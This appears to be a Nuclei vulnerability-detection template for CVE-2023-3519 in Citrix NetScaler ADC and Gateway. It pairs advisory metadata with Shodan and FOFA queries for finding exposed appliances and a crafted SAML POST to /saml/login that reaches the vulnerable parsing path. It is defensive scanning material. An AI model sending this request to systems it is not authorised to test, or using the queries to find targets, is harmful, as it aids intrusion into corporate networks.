Citrix NetScaler ADC and NetScaler Gateway - Remote Code Execution

id: CVE-2023-3519

info:
  name: Citrix NetScaler ADC and NetScaler Gateway - Remote Code Execution
  author: pussycat0x,ritikchaddha
  severity: critical
  description: |
    critical unauthenticated remote code execution (RCE) vulnerability affecting Citrix ADC (NetScaler ADC) and Citrix Gateway appliances configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server. Exploitation can lead to arbitrary code execution.
  impact: |
    Unauthenticated attackers can exploit SAML processing vulnerabilities to execute arbitrary code on Citrix ADC and Gateway appliances, potentially compromising corporate network access and intercepting VPN traffic.
  remediation: |
    Apply Citrix security patches as outlined in CTX561482 to fix the SAML processing vulnerability in NetScaler ADC and Gateway appliances.
  reference:
    - https://github.com/assetnote/exploits/blob/main/citrix/CVE-2023-3519/README.md
    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX561482
    - https://www.assetnote.io/resources/research/analysis-of-cve-2023-3519-in-citrix-adc-and-netscaler-gateway
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3519
    cwe-id: CWE-94
    epss-score: 0.99445
    epss-percentile: 0.99937
    cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
  metadata:
    vendor: citrix
    product: netscaler_application_delivery_controller
    fofa-query:
      - title="netscaler aaa"
      - title="citrix gateway" || title:"netscaler gateway"
    shodan-query: http.title:"citrix gateway" || title:"netscaler gateway"
  tags: cve,cve2023,citrix,saml,rce,kev,passive,vkev,vuln

http:
  - raw:
      - |
        POST /saml/login HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0icGZ4NDFkOGVmMjItZTYxMi04YzUwLTk5NjAtMWIxNmYxNTc0MWIzIiBWZXJzaW9uPSIyLjAiIFByb3ZpZGVyTmFtZT0iU1AgdGVzdCIgRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIFByb3RvY29sQmluZGluZz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmJpbmRpbmdzOkhUVFAtUE9TVCIgQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSJodHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcyI%2BCiAgPHNhbWw6SXNzdWVyPkE8L3NhbWw6SXNzdWVyPgogIDxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPgogICAgPGRzOlNpZ25lZEluZm8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjcnNhLXNoYTEiLz4KICAgICAgPGRzOlJlZmVyZW5jZSBVUkk9IiNwZng0MWQ4ZWYyMi1lNjEyLThjNTAtOTk2MC0xYjE2ZjE1NzQxYjMiPgogICAgICAgIDxkczpUcmFuc2Zvcm1zPgogICAgICAgICAgPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIi8%2BCiAgICAgICAgICA8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgICAgPC9kczpUcmFuc2Zvcm1zPgogICAgICAgIDxkczpEaWdlc3RWYWx1ZT5BPC9kczpEaWdlc3RWYWx1ZT4KICAgICAgPC9kczpSZWZlcmVuY2U%2BCiAgICA8L2RzOlNpZ25lZEluZm8%2BCiAgICA8ZHM6U2lnbmF0dXJlVmFsdWU%2BQTwvZHM6U2lnbmF0dXJlVmFsdWU%2BCiAgPC9kczpTaWduYXR1cmU%2BCiAgPHNhbWxwOk5hbWVJRFBvbGljeSBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjEuMTpuYW1laWQtZm9ybWF0OmVtYWlsQWRkcmVzcyIgQWxsb3dDcmVhdGU9InRydWUiLz4KICA8c2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0IENvbXBhcmlzb249ImV4YWN0Ij4KICAgIDxzYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9zYW1sOkF1dGhuQ29udGV4dENsYXNzUmVmPgogIDwvc2FtbHA6UmVxdWVzdGVkQXV0aG5Db250ZXh0Pgo8L3NhbWxwOkF1dGhuUmVxdWVzdD4%3D

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'SAML Assertion verification failed;')"
        condition: and
# digest: 4a0a00473045022100ae65af240072103b1ae2bf95df8434aae99a878304a1c2766864fd420ff6ca7b02206facef12148f1e3ef67de3cfe410c9f934dc9e7c5e113e7032034b722b4c7f44:922c64590222798bb761d5b6d8e72950